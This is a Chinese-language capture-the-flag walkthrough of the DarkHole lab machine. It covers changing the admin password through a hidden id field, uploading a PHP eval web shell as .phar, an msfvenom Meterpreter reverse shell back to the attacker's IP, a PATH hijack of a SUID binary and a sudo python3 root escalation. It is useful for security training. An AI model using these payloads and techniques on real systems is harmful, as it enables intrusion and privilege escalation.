虚拟机下载链接:
介绍
Difficulty: Easy
It's a box for beginners, but not easy, Good Luck
Hint: Don't waste your time For Brute-Force
先通过nmap扫描虚拟机ip
确定目标靶机IP地址为192.168.211.141
使用nmap扫描这个ip
Apache Web 服务和 OpenSSH 服务。
打开网站查看
默认页面除了登录链接外没有太多内容。
先创建一个账户
登录
可以发现我的账号的id=2,说明前面还有一个id=1的账号。
查看代码,修改密码部分的代码为
<main class="content">
<div class="main-header">
<div class="main-title">
<h1>Password:</h1>
</div>
<div class="main-form">
<form name="event" method="post">
<input type="password" name="password" id="ftitle" placeholder="New Password">
<input type="hidden" name="id" value="2">
<input type="submit" id="fsubmit" value="Change" class="button">
</form>
</div>
</div>
</main>
有一个隐藏的输入“id”。因此,如果我们传递用户 ID 1,它可能会更改管理员的密码。
尝试使用 Burp suite 工具来修改请求。
Burp suite修改密码
将id修改为1再发送,尝试使用用户名“admin”和新密码登录。成功登录进入admin
它有一个上传文件的功能,当我尝试上传 PHP shell 时,它给了我一个错误。但是,我将文件名更改为“.phar”并且它起作用了。
尝试使用蚁剑连接
1.phar的内容为
<?php @eval($_POST[ch4nge]);?>
提权
建立反弹后门
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.211.133 LPORT=4444 R > test3.php
启动msfconsole
msfconsole
use exploit/multi/handler
show options
set lhost 192.168.211.133
set lport 4444
set payload php/meterpreter/reverse_tcp
蚁剑上传test3.php文件,访问
http://192.168.211.141/upload/test3.php
进入shell,并生成一个交互式shell:
python -c 'import pty; pty.spawn("/bin/bash")'
报错
python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 5: python: not found
python3 -c 'import pty; pty.spawn("/bin/bash")'
获得交互式shell
当我们检查主目录时,我们看到两个用户,john 和 darkhole。
查看john文件夹下的文件
www-data@darkhole:/home/john$ ls -al
ls -al
total 72
drwxrwxrwx 5 john john 4096 Jul 17 2021 .
drwxr-xr-x 4 root root 4096 Jul 16 2021 ..
-rw------- 1 john john 1722 Jul 17 2021 .bash_history
-rw-r--r-- 1 john john 220 Jul 16 2021 .bash_logout
-rw-r--r-- 1 john john 3771 Jul 16 2021 .bashrc
drwx------ 2 john john 4096 Jul 17 2021 .cache
drwxrwxr-x 3 john john 4096 Jul 17 2021 .local
-rw------- 1 john john 37 Jul 17 2021 .mysql_history
-rw-r--r-- 1 john john 807 Jul 16 2021 .profile
drwxrwx--- 2 john www-data 4096 Jul 17 2021 .ssh
-rwxrwx--- 1 john john 1 Jul 17 2021 file.py
-rwxrwx--- 1 john john 8 Jul 17 2021 password
-rwsr-xr-x 1 root root 16784 Jul 17 2021 toto
-rw-rw---- 1 john john 24 Jul 17 2021 user.txt
我们有一个密码文件,它为我们提供了用户 john 的密码,但是没有权限。
www-data@darkhole:/home/john$ cat password
cat password
cat: password: Permission denied
还有一个 SUID 二进制文件toto。
此二进制文件是二进制文件“id”的副本,但不同之处在于它以用户“john”身份执行。
./toto
uid=1001(john) gid=33(www-data) groups=33(www-data)
因此,我们可以尝试利用此功能。我们可以创建一个同名的自定义二进制文件,而不是执行“id”。
echo 'bash' > /tmp/id; chmod +x /tmp/id; export PATH=/tmp:$PATH
然后,我再次执行了二进制文件。
www-data@darkhole:/home/john$ ./toto
./toto
john@darkhole:/home/john$
重新查看password
john@darkhole:/home/john$ cat password
cat password
root123
得到了john的用户密码,可以获得root权限
查看darkhole文件夹
www-data@darkhole:/home/darkhole$ ls -al
ls -al
total 32
drwxr-xr-x 4 darkhole darkhole 4096 Jul 17 2021 .
drwxr-xr-x 4 root root 4096 Jul 16 2021 ..
-rw------- 1 darkhole darkhole 189 Jul 17 2021 .bash_history
-rw-r--r-- 1 darkhole darkhole 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 darkhole darkhole 3771 Feb 25 2020 .bashrc
drwx------ 2 darkhole darkhole 4096 Jul 15 2021 .cache
drwxrwxr-x 3 darkhole darkhole 4096 Jul 17 2021 .local
-rw-r--r-- 1 darkhole darkhole 807 Feb 25 2020 .profile
-rw-r--r-- 1 darkhole darkhole 0 Jul 15 2021 .sudo_as_admin_successful
获得root权限
查看john的权限:
john@darkhole:/home/john$ sudo -l
sudo -l
[sudo] password for john: root123
Matching Defaults entries for john on darkhole:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on darkhole:
(root) /usr/bin/python3 /home/john/file.py
在file.py里面写一段打开shell的代码,再以root的身份执行:
echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py
完成